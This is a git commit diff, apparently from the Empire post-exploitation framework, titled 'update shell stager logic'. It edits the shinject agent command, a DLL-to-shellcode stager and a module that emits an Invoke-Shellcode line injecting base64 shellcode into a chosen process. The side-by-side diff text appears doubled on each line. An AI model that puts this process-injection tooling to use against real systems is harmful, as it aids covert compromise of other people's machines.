update shell stager logic

php_fix
xorrior 2018-03-04 02:10:55 -05:00
parent 54a6fba40f
commit 5eaf06a434
4 changed files with 6 additions and 3 deletions

Binary file not shown.

View File

@ -2158,7 +2158,7 @@ class PowerShellAgentMenu(SubMenu):
if line: if line:
if self.mainMenu.modules.modules['powershell/management/shinject']: if self.mainMenu.modules.modules['powershell/management/shinject']:
module = self.mainMenu.modules.modules['powershell/management/shinject'] module = self.mainMenu.modules.modules['powershell/management/shinject']
listenerID = line.split(' ')[0].strip() listenerID = line.split(' ')[0]
arch = line.split(' ')[-1] arch = line.split(' ')[-1]
module.options['Listener']['Value'] = listenerID module.options['Listener']['Value'] = listenerID
module.options['Arch']['Value'] = arch module.options['Arch']['Value'] = arch

View File

@ -159,7 +159,7 @@ class Stagers:
flags = 0 flags = 0
flags |= 0x1 flags |= 0x1
sc = ConvertToShellcode(dllPatched, flags=flags) sc = ConvertToShellcode(dllPatched)
return sc return sc

View File

@ -147,6 +147,9 @@ class Module:
# Add any arguments to the end execution of the script # Add any arguments to the end execution of the script
script += "\n Invoke-Shellcode -ProcessID {} -Shellcode $([Convert]::FromBase64String(\"{}\")) -Force".format(procID, encoded_sc) #t = iter(sc)
#pow_array = ',0x'.join(a+b for a,b in zip(t, t))
#pow_array = "@(0x" + pow_array + " )"
script += "\nInvoke-Shellcode -ProcessID {} -Shellcode $([Convert]::FromBase64String(\"{}\")) -Force".format(procID, encoded_sc)
script += scriptEnd script += scriptEnd
return script return script